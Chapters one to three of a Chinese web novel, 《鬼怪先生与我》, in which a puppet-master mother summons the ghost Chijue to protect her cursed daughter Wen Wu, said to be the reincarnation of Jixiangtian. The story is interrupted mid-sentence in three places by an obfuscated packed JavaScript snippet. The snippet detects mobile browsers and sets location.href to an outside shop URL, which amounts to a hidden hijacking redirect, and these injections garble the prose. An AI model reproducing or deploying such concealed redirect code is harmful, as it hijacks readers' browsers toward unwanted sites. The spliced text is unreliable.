《鬼怪先生与我》 1. 吉祥天 东厢房内,闻舞端庄坐在矮木椅上,低着头,丝丝缕缕的发丝垂落至肩,她眸中清冷,手中拿着绣布,盯着边缘处,认真钩织昨夜未完成的刺绣。 她没注意钩织时间,只记得从醒来被周围冷空气包围时就一直坐在木椅上,面无表情地完成机械般的任务。 暖黄色阳光透过密密麻麻的白柳树,从门窗照射进来,洒落在她脚趾处,闻舞倏地停下动作,感受着那如约而至的温暖。 半夜毫无征兆地下了大雨,直至清晨,湿润又闷气的苔藓味道和白柳树净化的清雅空气接踵而来,令她心旷神怡。 而这样平和又安稳的时光却对她从不慷慨,闻舞脸上瞬间失去了所有表情,血色从她的脸上褪去,变得苍白。 绣布从她手中滑落,闻舞身心不稳,从木椅往旁边倾倒,她吃痛地闷哼一声,心脏传来一阵阵刺痛让她不自觉蜷缩起来。 闻舞意识到这次发病与平日不同,这次更为强烈,疼痛指数上升数十倍,她张了张嘴,努力喊出声:“来,来人啊……来人!救……救命。” 声音越来越虚弱,后半段已失了声。 幸好,她的陪同下人恰巧路过,推拉门哗啦一声开合,脸上还洋溢着笑容的女孩在见到倒地不起的闻舞不由得身体猛然一震,瞪大眼睛。 手上还冒热气的饭食被无情摔下,下人不知所措跪着,支支吾吾说不清完整一句话,闻舞此时脸色惨白,身体僵硬如冰,微启的齿缝呼出灼热的气息,一口气不上不下吊在嗓子里。 下人好一会儿才反应过来,她起身关上所有门窗,把闻舞扛上床,盖上被褥,然后立马从兜里拿出两张符纸。 她咬破手指,用血作墨低头写符,熟练地将其贴至床榻两角。 下人双手合十,无比沉重地念出一长串咒诀。 符纸飘动,红色的墨闪了闪,床上的人像是被抽了魂般,连虚弱的呼吸声都无法发出,就像是失去三魂七魄的尸体。 许是掐准了时机,念完符咒的下一秒,几个人推门而入,为首的女子就是府里权高位重的大当家,闻舞母亲,闻吟。 下人见着,恭敬地低头问候,言语不再口齿不清:“大当家,小姐又中招了。” 闻吟越过那她,在床边停下,一脸沉重盯着床上的女子。 她不紧不慢查看闻舞身体,和往常一致,全身失温且肌肉僵硬,但有一处不同。 闻吟心脏漏了一拍,眉头微拧,指尖停在闻舞颈处,那是一处很难看清的异常,白皙的脖子旁一道黑色血脉若隐若现,宛如中毒。 这是怎么回事? 闻吟在内心发问,用手指盘算着日子,顿时睁大眼睛,惊愕地盯着闻舞。 她蛮横地捶打床栏,嘴里不停嘟囔着“该死”,然后摇摇晃晃站直身,再次看向闻舞那失去血色的脸庞,表情依旧凝重,她认命般闭上眼,冷不丁发话:“准备新厢房,没有我的命令,不准进入这里。” 跟在闻吟身后的人面面相觑,其中与她年龄相仿的女子默默地注视了闻吟片刻,随后缓缓开口:“大当家可是要……用那个法子?” “是。”闻吟毫不犹豫点头道。 众人齐刷刷用难以置信的眼神望向闻吟,脸上写满震惊。 女子那双眼睛里充满了黯然的愤怒,冷艳的脸庞上透出一丝不悦:“恕我等冒犯您的选择,此禁术乃祖宗传承下来的禁用宗旨,除非遇紧急情况,如今大当家为私念动用,恐有违家规。” 闻吟冰冷的目光一动不动,等身后的越来越多至亲附和女子的话后,双眸变得凶狠,她扭头瞪向她们:“现在便是紧急情况!” “全部退下!不要让我下重复命令!” 女子咂了咂舌,目光中透出阴冷的光芒,最后道出“是”便干脆扬衣离开。 不过须臾,房间内只剩下闻吟与闻舞。 闻吟像是如释重负般无力叹了口气,看向闻舞的眼神复杂难懂,最终静静地低语道:“再撑一会,很快就好了。” 她在虚空中凝出咒诀,捏出一道如火焰般的烟,捂在拳心,再次松开伴随着那双低沉又冷漠的眼神。 那蓝青色的火焰最终落在闻吟早已准备好的木偶中。 身为傀儡世门的闻家,以傀儡术打响家族名声,他们世代继承傀儡师一职业,收恶鬼,斩怨念。 在华城极其稀少的职业却能获众人钦佩,可见可效性与依赖性是毋庸置疑的。 而其最大的能力是能依附木偶让将死之人苟活一段时日,也能让已死之人在出生日回魂一日。 这项似神通广大的能力令人垂涎,同行间的妓忌也随之而来,谣言紧接着被传出。 闻舞不幸成了首个攻击目标。 只躺在床渡余生的大小姐。 形容她外貌最多的标签就是一位身穿素白衣,头发扎至腰间,松松垮垮尽显疲惫与惨白姿态,让人不禁怀疑这位大小姐是否存在。 闻府对传言的不作为加剧了谣言肆意散发。 病弱在身,与床作伴,徒有虚名,这些指责她的口舌之争从未停止。 不出府就见不到那些人,那些人也无法知晓她面貌,闻舞常常会与闻吟诉说她的见解,这些人或许根本不存在,她自己也不存在。 每听到这句话,闻吟就会默不作声,继而安抚她。 二十年如一日重复已听出茧的话,闻舞也如玩常般点头示意,久而久之,自创一套能战胜自杀的念想。 “总会有的。” 路过东厢房的下人听过最多的话便是这句。 闻舞有时候会坐在门廊处,放空思绪,呆呆地重复这句话:“总会有的。” …… 躺在床上的闻舞紧闭双唇而颤抖,额前的冷汗直冒,浸湿素白衬衣。 闻吟抽取她一魄注入手中的木偶,随后坐在早已画好的阵法图案上,双手抚膝盖处。 以阵眼为中,外加具有活人的病魄的木偶,极强的阳气能将召唤阴间大使的稀少可能性变为现实。 一切准备就绪,闻吟捏紧木偶,再次念出咒诀。 刚还晴朗万千的天空变得阴沉,黑云沉压,狂风呼啸不止,诡异的西风透过门缝涌入,邪术似乎惹怒了四面八方的恶鬼,它们争先恐后进入闻府,想见是谁那么有胆识挑衅恶鬼。 见阴气旺盛,闻吟立马将从闻舞身上抽的血倒入木偶使其充分浸体,并贴上新符纸,双手伏地,诚恳道:“七月十七日,逢血祭日,吉祥天现,万恶诛散,为神辟道。” “女子乃傀儡师门大当家,闻吟,今日以血唤魂术,恳请鬼怪莅临。” 下一秒,门外无征兆地爆发出雷声,雨声接踵而至,夹杂着风声不停歇。 闻吟保持手抵着额头的姿势不变,双眼紧闭。 直到雷声不再清晰,其他声音贯入耳中,旋律清脆、寒音环绕、明快利落的铃铛声充斥房内,脚步声从后方传来,步伐沉稳又有力。 闻吟身子动了一下,这铃铛声相当有辨识度,恐怕听过一次便终生难忘。 随后,一道低沉而危险的声音如同来自地狱深处一般,冰冷地落在她身后: “你。” “是否知晓我今日心情不佳?” 那极其压抑的气氛,一瞬间屋外恶鬼仓皇而逃,屋内设有的屏障都无法驱散的鬼,阴气压制东厢房全角落,闻吟回头一看,如她猜想一般,果真是那人。 以鬼灵体集齐恶魂的鬼怪,魑觉。 腰间的骷髅铃铛犹如他的身份牌,许是这个铃声才吓走了府内众鬼,他身躯魁梧,一身黑色长袍却不失敬畏感,衣摆随风逆向浮动着。 他清冷幽深的目光始终垂眸,睥睨一切。 魑觉光是站着不动便能让巫术极强的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527346|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束手无策,闻吟缓慢起身,面向他,却始终不敢直视他。 可语气淡然诚恳:“魑觉大人,初次见面,我知这个方法惹您非常不悦,但小女已走投无路,只好用民间禁术强行召您现身。” 魑觉冷冷地俯视着低头的闻吟,随后双手交叠于胸前,笑容中带着一丝冰冷:“你最好讲些我能感兴趣的事,否则我无法保证心情不佳会干何种荒唐事。” 闻吟单刀直入道:“我的女儿闻舞天生自带诅咒,无论使什么法子都无济于事,每到天气异常变化,伤寒便会缠身。” “今日病状不如从前,黑色血脉已遍及全身,恐命数已到。” “我看起来是大夫?”魑觉打断道。 闻母动作转变跪拜方向,声音提高几个调,无比虔诚道:“恳请鬼怪先生为小女改命。” “见鬼说鬼话是你们傀儡师的小众癖好?”魑觉嘴角笑意渐逝,带着讥讽语气继续道:“你凭什么认为我会答应这个请求?我很好奇啊,你怎么让百忙之中的我突然被迫传来这里的?我可没听闻人界还有唤鬼怪的法子。” 闻吟垂眸,沉思片刻缓缓开口:“您所言甚是,平常法子是无法将您强行喊来,但我的女儿恰巧是那个被众人忽视的宝物。” 她抬起头,目光微动:“您一定听说过吉祥天女。” 此话一出,闻吟能轻易捕捉到魑觉脸上略显诧异的神色,她扯了下嘴角,仿佛胜券在握。 “我曾闻鬼怪先生因在冥界犯大忌,惹阴差大怒,需守护五百年后象征好运的吉祥天转世以赎罪,虽过程我并不清楚,但结果是对的。” 魑觉脸上毫无表情,只有一股机械般冰冷的声音从他的唇间滑出:“所以呢?” “血祭日乃五百年才显现一次的稀有卦象,而它的出现会使吉祥天气息变得非常浓烈,我猜测鬼怪先生才会在今日下人界,这的确是寻吉祥天最合适的日子。” 魑觉眯了眯眼,“所以?你想与我争抢吉祥天?” “不,”闻吟否认,她递过那沾满血的的木偶,被染成血黑色的木偶显得极其诡异,继续言:“里面有闻舞一魄。” 魑觉视线状若落在她手中的木偶,心中道不出的奇怪感与熟悉感,他嘴角抽了抽,没有说话。 闻吟捏出手诀开始施法,仅一会儿,木偶因有活魄动了起来,空中出现了一个灰白色的幻象,魑觉歪了歪头,他知晓这个现象,那是傀象。 傀儡师拥有自己的傀象,因与鬼打交道,傀象多以鬼的形态显现,若作恶多端,傀象的鬼越凶恶。 傀象只能依附于木偶才能显现,而木偶依靠活魄存在,即必须抽出一魄注入木偶才能见自己的傀象。 魑觉冷淡盯着闻舞的傀象,那只是极为寻常的小鬼。 他毫无兴致盯着,直到下一刻,这只小鬼改变了样貌,原来前面的形象是人造的假象,转而变成一个比刚才身形还要高大的,颜色与刚才完全不一致的傀象。 魑觉面色阴沉,面部线条瞬间凝结成冰,直勾勾盯着,眼前洋溢着笑的小鬼冒出金光,被掩盖住的真实样貌是一位披长袍,头戴宝冠的少女。 少女笑容慈悲,似如至高无上权力的神女。 她低着头,以至于任何人都无法看清她面貌。 魑觉终于摸清刚才那股熟悉感为何涌出,他纹丝不动地站在那里,冷静地看着木偶,突然爆发出一阵冷笑。 这是吉祥天的气息。 这个魄确实带有神性。 他抬眸,眼中的冷漠与阴戾毫无保留显露,似乎在逼迫闻吟解释情况,但那低气压又在警示她,如果撒谎,就会死。 空气中弥漫着如针刺般的紧张感。 闻吟深吸一口气,不拐弯抹角,语气庄严道:“您或许已经猜中了,” “不错,” “闻舞就是吉祥天的转世。” 2. 换灵咒 “荒唐!!” 冥界殿堂内,阴律司执掌者府君在听完黑白无常的错误后轰然大怒,他将手中的竹简甩至身前,捂着胸口平复心情,连摇好几下脑袋。 两无常不敢吭声,瑟瑟发抖地跪在府君面前。 府君烦躁地揉了揉眉心和太阳穴,咬牙切齿问道:“之后呢?!你们又做了什么??” 黑白无常相视一看,然后转回脸,白无常低头支支吾吾道:“恶灵...灵,恐怕已经进入轮回之道了,我等甘愿受罚!也定会严加看守!” 府君面色阴沉,头疼愈发激烈,他语气稍微变低:“你的意思是,你们两个对工作严谨负责几百年,因为一个‘不小心’酿成此等大错?” “白无常!我看起来很好忽悠吗!” 府君气得捏出火焰,那蓝色火焰喷薄而出,瞬间席卷至他们周围。 白无常慌张将头迅速埋在底下,急赤白脸地辩解道:“不敢!是那位五百年前的异瞳鬼怪!……虽然这家伙眼睛治好了,但!他触碰了恶灵导致恶灵提前百年进入轮回,我们不止一次同他讲过恶灵的特殊性,着重强调了不能触碰它们。” 席卷全身的火焰倏地停下,然后消亡。 府君像是听到了不可能出现的名字,不可置信再三询问:“魑觉?” 一旁的黑无常点了点头:“他做了一件不像他的蠢事。” 府君移开目光看向黑无常,寻求准确的答案:“可是看清楚了?” “一清二楚。” “唤他前来。” 府君脑袋剧烈疼痛让他感到疲惫不堪,他施加力度更加用力,其他鬼他处理起来还算轻松,偏偏是这位难缠的鬼怪。 黑无常恭敬点头,转身便要离开大殿。 还没走几步,现场突然刮起一阵异风,猛烈而无序,铃声四起,风的低呜声似鬼哭狼嚎,随之出现一个庞大魁梧的鬼影,还伴着一道野草味。 野草,铃声,还偏偏在这个时机出现的恐怕只有…… 黑无常脚步停住,脸色骤然一沉,他退到一旁,冷漠地开口:“偷听鬼。” 鬼影愈发清晰,直到现场的鬼都见到他的真面目,魑觉脸上浮起朦胧的笑意,慢悠悠越过黑白无常,停在府君面前。 他并未向其他鬼一样屈膝请罪,而是露出獠牙,双眸中锐利又冷酷。 府君收起刚才懒散的姿势,冷冰冰地盯着魑觉。 先打破死一般诡异寂静的是白无常的抱怨声。 “喂喂喂,你还知道你犯了一个大错啊?”白无常嘟囔一句,“因为你,我和黑无常要罚抄多长的冥规,你这个独来独往又不听鬼话的鬼怪!” 黑无常皱了皱眉,快速用手肘击了它一下,也不知道白无常哪来的胆子敢越级吐苦水。 魑觉轻轻挑了挑眉,没有回头看他,依旧一副面瘫脸,只盯着府君,半天憋出一句:“来领罪了。” “哈,你还真是弄了个大窟窿啊。” “除了限制我行动外,什么惩罚都随您。” 府君无奈叹出气,他认真思考了下,想起了某些事,将目光重新放在黑无常身上,问:“黑无常,你前几日说卦象发生了变化,是血祭日提前来临了?” “是。” 魑觉动了动,转过身问他:“卦象变动了?” 黑无常没看他,目光直视前方,仿佛当他不存在,自顾自回答道:“卦象尽破,万劫不复大凶兆已现,血祭日提前来临,吉祥天本体会引众恶鬼缠身。” “魑觉啊,去找吉祥天吧,这就是对你的惩罚。”府君不愿多说,对他下出第一道惩罚。 “吉祥天?”魑觉转回身,还以为自己听错了,“那五百年才出现的神物?” “是。” “保护吉祥天安然无恙转世。”府君补充道。 “哪种安然无恙?” “以原本命数死去,”黑无常也默默补充,“但只有你找到那个人,才能找我们拿到生死簿掌管原本命数。” 黑无常停顿一会,然后从衣衬里掏出一本书,那本书的封面已磨损不堪,他轻轻摊开,找到某处信息,展开至魑觉面前。 “吉祥天转世有个共同特点,就是出生自带命短诅咒,至于是怎么死,每次都不同,可能是暗杀,可能是自戕,也可能是被误杀。” “所以,”魑觉闭上双眼,道出自己的猜想:“血祭日会有万鬼从境外出现,附身于吉祥天转世体,保护不当就会丧命,如果不是那人的命数,那么我的任务就失败了?” 三鬼一同道出齐刷刷的“是”,魑觉逼迫自己挤出一道冷笑,最后摆手离开装作根本不在话下。 他早已做好了任务失败的准备,近一个月毫无进展的任务让他无比坚定了这个结果。 东厢房内,闻吟说出闻舞的身世后,魑觉感到前所未有的松懈与愉悦,少说他也停留在人界一个月,劳累过度的他已打算放弃,却在休憩片刻被突然召唤。 “哈啊……” “原来如此,原来如此。” 怪不得这户人家能召唤他,看来是借用了神女的力量。 魑觉用手向后捋了捋头发,遂看向四方,沉默片刻动用自身法力,身上散发出几道暗红色弥散,房间各个角落被覆盖,所有邪物在一瞬间被逐一击破,屋内的构造迅速被重造。 闻吟表情大变,脑袋嗡嗡作响,这么大的举动许是惹怒了鬼怪,她故作冷静,直到魑觉轻描淡写说了句: “我应下了,但我不喜身边有道法或巫术阵法,这个房间压制物也太多了,尽管这破坏了您家族某些平衡,也忍忍吧。” 闻吟诧异,双眸明显微动闪亮,她扯出笑容,郑重给他磕了几下头。 “谢魑觉大人怜悯!” 暗红色法力在空中虚空的一个点聚集,顿时分散,堂而皇之进入闻舞身体各个部位。 闻吟安静看着,却还是忍不住询问:“只需在油尽灯枯时挡住她的灵魂消散,这是何意?” 闻舞额头出现了印记,紧接着所有裸露在空气中的皮肤都刻上了红色印记,闪亮几下便消失,仿佛被下了某种契约。 闻吟倒是对魑觉有些调查,他擅以最快速度,最狠手段解决当下麻烦,而最常用的方法就是缔结同生共死契约。 当然,魑觉不是契约里的发起者,接受者会与世上随便一人绑定生死关系,永远不知道自己会在什么时候死,永远不知道是与哪种人缔结,也许是病入膏肓的人,也许是无自主意识的植物。 这就是魑觉独创的同生共死契约。 魑觉瞥了眼闻吟,猜到她心中所想,虽然解释不像他的作风,但考虑到对方关乎吉祥天,他还是冷漠道: “这可不是契约。” “吉祥天本身就招鬼魂,若气血不足,阳气虚弱,身体就无法抗住季节更替,惹万鬼缠身,血祭日煞气如此重,吉祥天本体又是这类模样,她当然扛不住。” “此为换灵咒,灌输我的法力后可以替她承受,但缺点是持续时长很短,需重复对她下咒。” “这个房间摆设的物品会压制我,虽不至于束缚我行动,但为万无一失也为我方便行事,我需要另外的房间。” 闻吟一时间呆住,从换灵术到新房间这一无厘头的话题转变,她当然不蠢,这字里行间的意思无非是她女儿这一辈子要想活下去必须靠换灵术,但,还有另一层意思。 闻舞必须要和他生活一辈子。 魑觉似乎没有要与她商量的想法,自古以来就是以独来独往的性格闻名于世,冥界府君还多次拿他没撤。 魑觉抬起手,食指微微弯曲,只见闻舞从床上腾空飞起,他敛下眼,像是给闻吟做出无声警告,最后吊儿郎当领着闻舞离开这间被他砸个稀巴烂的房间。 “我就权当大当家默许了,请为我们准备一个大点的房间,我可不将就。” 闻府过了近二十年无风无浪的平淡日子,时至今日,府内上下动静不断。 魑觉的出现一瞬间传入所有下人耳内。 因为他根本不打算隐藏自己的踪迹,明明能瞬移到某块地方,却非要大摇大摆将闻府全部地方巡视一圈。 一个陌生鬼的闯入其实翻不起大波浪,身为傀儡师见得鬼大多不差。 只是,魑觉抱在怀里的女人引人注目,那可是大当家的大女儿,闻舞。 也有人大胆上前拦住他去路,质问要带闻舞去哪,魑觉充耳不闻,绕过她们继续观察四周。 站在魑觉身后的闻吟也默不作声,自然而然,没有人再质疑魑觉的行为。 闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527347|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吟腾出了后院,因背靠山丘,空气自带天然气息,终年四季温和,是绝佳的养生之地。 刚才黑沉沉又闷气的阴天已转变为晴空万里的艳阳天。 魑觉一踏进,高大雄伟的山峰冲击眼帘,如军士般威严耸立,本来因接下来时光要照顾一个弱小人类心情愈发沉重的他,此刻仿佛找到了熟悉感觉,笑意填满整张脸。 他悠哉悠哉观赏这片区域,将闻舞安置于床榻后,绕到了后院小门,那里置有摇摆床,一片花海及清澈见底的河流。 小溪淳淳流动,高山为它低头,越过的鸟为它诵歌,矮小的杨柳成了这幅场景最富有生命力的一部分,春风掠过枝桠迎面而来。 好之,好之,魑觉内心不禁赞叹,这一天无疑是最满意的日子,他不仅找到吉祥天转世,还能住在中意之地。 “到时候完成任务就在冥界建立一个与这里一比一的地方。”他小声嘀咕道,思绪早已飘远,惆怅未来。 最后他想起了什么,懒洋洋打着哈欠,在空中书写符纸,往院子四角贴上符咒,然后抬头一看,食指与中指并拢指天,读出一串难以听懂的咒语。 刹那间,院子上空凝结了一道似有若无的屏障,仅出现几秒便隐藏了起来。 这还不够。魑觉琢磨了会,那位小姐体质差,肯定是不能受恶鬼影响,这些符咒也够驱赶没胆识的恶鬼了。但若这个小姐独自跑出去,不在阵界范围,他似乎无法保证安全。 魑觉从来没想过自己要贴身保护。 要不要给她本身下一道咒呢?有没有什么能让她对他寸步不离呢?他想得入迷,以至于完全没注意房门后站得笔直的身影。 “你是何人?” 一道被砂纸磨过的沙哑声从后方传来。 魑觉背对着她,对忽如其来的声音只是愣了一会,刚才因景色优美而扬起的微笑消失殆尽。 他回头的幅度非常小,小到可以忽略不计。 “嗯……是恶鬼吗?” 声音再度响起,这次夹杂着些许怀疑。 闻舞静静盯着魑觉的背影,但因为过于逞强,身体无法适应大幅度的动弹,她踉跄了几步,倚靠在门槛旁想保持平衡却还是滑落跌倒在地。 轻微的动静终于让魑觉转过身来。 闻舞单手撑地,另一只手抓住门槛,沉重的呼吸声无规律吐出,她抬眸,魑觉真面目暴露在她面前。 那一刻她能清晰感受到自己心脏骤停了一秒。 春风顺着魑觉抵达闻舞脸庞,吹拂起她鼻尖处几缕发丝,一丝可有可无的凉意席卷全身,她易受凉,但此刻她却不想返回屋内。 耳畔北红尾鸲的叫声愈发清晰,河流川流不息,水声依旧,柳树飞舞着,残枝落叶向四面八方慷慨地传送,眼前无论哪一幕都美得不像话。 此刻闻舞却只看到了魑觉。 魑觉骨相优越,面相冷峻,光是站在那犹如器宇不凡的将军,而他两眼下分别有一颗痣,右边的痣更接近眼睛,平添了几分柔情。 骷髅形象的银色铃铛随声作响,鬓边束着一缕头发,随风摆动,仔细看他左耳还别着一串宝石绿链,黑袍官服彰显森严气息,与闻舞素白衣形成鲜明对比。 闻舞变幻万千的神色尽收于魑觉眼底,那凌厉如冰山的脸褪去了阴戾,转而是无动于衷,淡漠一切的表情,他平淡回答道:“鬼怪,名号魑觉。” “你为何会在这?” “奉命保护吉祥天。” 闻舞那惨白无力的脸在久坐后终于有了血色,她歪了歪头,迷惑不解:“吉祥天?” “嗯。”魑觉觉得受到了环境影响,他声音莫名带了感情,指向闻舞,道:“你,吉祥天。” 闻舞不禁皱起了眉头,颤颤巍巍站起身,目光始终没从魑觉身上移开。 “可是不会有人害我。” 她没有继续追问吉祥天是何物,也没有仔细询问魑觉身份,只是如木偶般地重复这一句话:“不会有人害我。” 无辜的眼神,毫无杀伤力的反驳,以及虚弱不堪的她,魑觉脸上表情全无,但他似乎想到了什么,嘴角不自觉抽动,最终不可思议地问道:“不会有人害你?” “嗯。” 他始终不敢相信自己的耳朵:“你不是吉祥天转世?” 3. 无能傀儡师 闻舞歪了歪头,她依旧不知魑觉口中‘吉祥天’为何物,但大概率与自己无关,便点了点头:“不是。” “哈啊……” 魑觉长叹一口气,叉着腰,盯着地面看了好一会,缓缓抬起视线,看着闻舞那副毫无表情的脸,道:“失忆了?” “嗯?” 之后魑觉开启了长篇大论,将刚才的事情娓娓道来,还往故事里加了自己的见解,闻舞频频点头,这才弄清了事情缘由以及为什么自己会在这。 “也就是说,我的母亲为了保住我性命,将你召唤来了?” “正解。” 闻舞能感受到面前的魑觉法力高深,极强的低气压覆盖全院,奇怪的是,她却不受影响。 “你母亲没同你讲过你的身世?” “有。” “……?”魑觉挑起眉,“那她是如何讲的?” 闻舞迟钝地眨了几下眼,无比认真回答道:“外界并不存在,我是被选中的病厄,只有痊愈才能真正存在。” “?????” 魑觉盯她好久,直到确认她的确没有撒谎,他内心感动无比绝望,只好掩面叹息。 针对这句话最合理的解释便是,闻舞受到长期且反复的洗脑。 可是,为什么? 他抬起头来,仔细观察眼前女子所有小动作,这完全没理由,为什么要洗脑? 一个受病魔折磨身心,最需要的无非是坚毅,一颗对生活抱有希望的心脏,但她自认为身处一个无战争,无矛盾,以自我为中心的理想世界。 对此,他不认可。 “你是如何看待的?” 闻舞皱眉加深,“什么?” 魑觉慢下语速,原本冷酷无情的脸庞多了些许怜悯,“你是如何看待你自己的?” 这下闻舞听懂了,毫不犹豫,态度坚决答道:“没有人害我,我信身边人。” “身边人?何为你口中的身边人?” “目光所及皆是。” 场面陷入一阵沉默,只剩两处目光互相直视,怀疑与猜忌在信任关系中相互摩擦。 听见这个答案,魑觉心中仍毫无波澜,不过,他找到了问题所在以及解决问题的方法。 “你也会信我么?” 一句不像他能说的话竟毫无思考就脱口而出,魑觉后知后觉才反应过来自己说了什么,被自己吓了一跳,但很快又将这归咎于环境影响。 闻舞先是诧异,然后是面无表情,她赤脚走下阶梯,目视前方,每一步悠然自如,稳如泰山。 魑觉冷冷看着她朝自己走来,正当他不知闻舞要对他做什么时,她突然伸出了手,拨开他刘海,轻轻放在他额头处,闭上眼感受。 魑觉顿时屏住了呼吸。 闻舞迟迟没吭声。 魑觉厌烦地后退一步,“你干什么?” 她终于有了反应,愣愣地盯着自己的掌心。 半晌,她嘀咕道:“母亲说,我无法踏出闻府,因为府外设有针对家族的符咒,只要我待在府里,就能让家族的人平安顺遂。” “……” “我刚才感受到你并非纯粹的恶鬼,你心性纯良,重情重义,乐观向上,是难得的好鬼,是我唐突了,给您道歉。” “先前您提及到了吉祥天,若真依您所说,那么这些让我困惑不已的问题都有了解释,我……” 闻舞不再垂眸,两眼放光,与空洞无情的眼神大相径庭,她笑了,可笑得很勉强,道:“也许,我是您的守护神吗?” 魑觉微眯起眼睛,沉默好一会儿,冷不丁反驳道:“少扯远了,你只是一个人类,怎可与鬼怪比拟?” “你刚才说我是吉祥天转世。” “那根本不是一个概念。”魑觉不由得提高声调,有些恼怒:“啧,你只需要好好待着,安分的,不要试图做多余的事,你根本做不了什么。” “嗯,我什么也做不了,我本身并不存在。”闻舞没反驳,倒是反过来支持他的话。 闻舞保持着嘴角上扬的表情,直到肌肉僵硬才扯下来,许是她眼睛没有笑起来,魑觉才发觉不对劲。 本身不存在,我不存在,没有人害我。这一串串措辞跟个游说团体般令其厌烦,闻舞丝毫没有正常女子该有的反应,他觉得这家人对她实施的巫术成功到底。 魑觉认为再和她待在同一个空间说这些没营养的对话,他迟早也不正常。 他需要一个安静的空间去思考接下来的行动,所以魑觉二话不说便转身离开。 直到他的身影完全消失,闻舞始终没有叫住他。 …… 正逢正午,街市热闹无比,买菜吆喝声与孩子嬉戏打闹声在人行道有来有往,赋予这片地区生机勃勃与喜气洋洋韵味。 魑觉神游般融入一片,他心想要不回冥界大闹一场,领个更重的罚替代这个算了,但又立马摇了摇头,这意味太明显,这不是上赶着告知全冥界的鬼,他鬼怪也有无法完成的任务。 有损颜面。魑觉烦躁地张望周围,定晴一看,注意到一个慵懒的鬼正趴在包子铺旁,口水直流,眼冒金光。 魑觉突然来了兴致,也许可以通过它获取一些闻舞的消息。 他路过包子铺,在老板面前神情冷静穿过,此刻他是以灵体出现,没有人能看见他,魑觉左手扯走了那只准备附身人体打算偷吃的饿死鬼。 被无缘无故领着的饿死鬼显然有些惊恐,它刚露出爪牙表示愤怒,可一见到领它的人真面目面色发僵,爪牙也慢慢收起来了,乖巧无比任他领着。 魑觉带它走到一条巷子里,然后放下它,顺势蹲下身,直盯着它。 饿死鬼被盯得后脊梁发冷,它绷紧神经,眼珠子往其他地方乱瞟。 “喂。”魑觉开口。 饿死鬼仿佛是下意识般立刻回话:“是!魑觉大人请吩咐!” “你待这有多久了?” 饿死鬼错愕地想了会儿:“差不多十余年吧……” “那这十余年有没有趣事分享?” “啊???”它两颗眼珠子瞪得圆溜溜。 “最好是关于傀儡师的八卦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527348|203575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊……” 饿死鬼挠了挠头,想半天也没想出魑觉能感兴趣的街道小话,身上的恐惧感不禁加剧。 魑觉许是看穿了饿死鬼的心思,无奈叹气道:“或许,有没有关于傀儡师门闻家的消息?最好是有关某个大小姐的。” 饿死鬼一听,脑子似金光乍现,它激动地答道:“有的有的!您指的是闻府那位常年不出府的大小姐吧!她不出门,不抓鬼,听说不会笑,没感情,大家都叫她无能傀儡师。” “嗯……”饿死鬼皱着眉,为难地补充道:“其实也不算不出门,刚来的时候我似乎见过她,虽然不是正面撞上她,后来听说她患病,就再没见过她。” 魑觉皱了皱眉,他回味了下刚才与闻舞相处的经过,她明明朝他扬起了一个大笑容。 虽然很假,他能看出笑得非常僵硬,就像是刚学会微笑。 “……还有呢?” “因为不出门的关系吧,她的消息少之又少,闻府各个傀儡师都出类拔萃,唤鬼能力游刃有余,余生成就会贴在闻府大门口的牌匾上,唯有她,从未上榜。” 饿死鬼低下头喃喃道:“我有好几次因为好奇想偷偷溜进闻府嘞,奈何里面术法与驱邪阵多得数不清,我差点被里面的大当家打得魂飞魄散。” 魑觉微微起身,拍了膝盖上的灰尘,全程除了厌烦与急躁没有其他表情,饿死鬼默默为自己祈祷能逃过一劫。 魑觉没有追究消息的可趣性,他什么也没说就放饿死鬼离开了。 “啧。”魑觉咂了咂舌,双手环胸,大摇大摆地走在街上,脑里的想法像深邃的海底般,无尽又广阔。 难道闻舞身上还有他不知道秘密? 为什么她家人不让她出门呢? 单单身体问题,不至于足不出户吧? 他长舒一口气,想再多也无益,得再找一个有用的人协助他。 想到这,他这才记起某两个有用的鬼。 魑觉动用法力打算唤黑白无常,毕竟先确定闻舞是不是吉祥天转世最重要,要是个乌龙……他打算把这个闻府闹个大乱子。 魑觉拿出通灵物,手刚往里头注入法力,身后传来声音洪亮且激昂的喊叫声却打断了他施法: “快看啊快看啊!傀儡师门闻家走水了!!” “什么什么?!” “你看啊,看见那片冒烟的区域没?这片地皮就是闻府的占地啊!” 魑觉施法的手停在半空中,如同蜡像般一动不动,眉间的褶皱越来越深。 他微微扭头,话中的主角本就让他不敢置信,直到看见那片区域真正指向之地与他心中猜想相撞。 他表情倏地变扭曲不堪,低声咒骂一句便消失于街市,而街市的人们还在抱有兴致讨论这次事故。 